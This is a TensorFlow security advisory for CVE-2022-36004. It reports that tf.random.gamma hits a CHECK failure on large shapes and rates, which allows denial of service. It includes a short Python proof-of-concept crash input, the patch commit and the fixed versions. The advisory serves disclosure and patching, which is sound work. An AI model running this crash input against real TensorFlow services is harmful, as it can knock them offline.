Impact

When tf.random.gamma receives large input shape and rates, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)
arg_1=tf.random.uniform(shape=(4, 4), dtype=tf.float64, maxval=None)
arg_2=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float64, maxval=None)
arg_3=tf.float64
arg_4=48
arg_5='None'
tf.random.gamma(shape=arg_0, alpha=arg_1, beta=arg_2, dtype=arg_3, seed=arg_4, name=arg_5)

Patches

We have patched the issue in GitHub commit 552bfced6ce4809db5f3ca305f60ff80dd40c5a3.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

References

• GHSA-mv8m-8x97-937q
• tensorflow/tensorflow@552bfce
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-36004